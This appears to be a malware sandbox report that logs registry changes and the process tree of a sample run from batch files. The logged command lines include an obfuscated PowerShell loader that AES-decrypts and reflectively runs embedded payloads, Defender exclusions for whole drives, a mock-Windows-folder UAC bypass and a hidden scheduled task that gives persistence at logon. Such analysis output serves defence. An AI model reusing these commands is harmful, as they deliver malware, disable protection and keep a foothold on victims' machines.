| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ProviderPasswordLength = "8" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave" | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\svchost.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106192786760" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106825755852" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106195443241" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1 | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133612106067474752" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ | C:\Windows\Explorer.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612105831693077" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.Accounts\V1\LU\PTT = "133612106071068453" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612106172786875" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106202786950" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612106814193052" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.Accounts\V1\LU | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.Accounts\V1\LU\PCT = "133612105464036866" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106189661809" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612106495755401" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133612096445443001" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PTT = "133612097051224523" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.Accounts | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService\V1\LU\PCT = "133612105464036866" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612105464192919" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.IrisService | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612106147631139" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612106482786628" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\HAM\AUI\Global.Accounts\V1 | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133612105544974319" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612105799192988" | C:\Windows\system32\svchost.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133612106188880753" | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c call SC.cmd
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.Accounts.AppXqe94epy97qwa6w3j6w132e8zvcs117nd.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:Global.IrisService.AppXwt29n3t7x7q6fgyrrbbqxwzkqjfjaw4y.mca
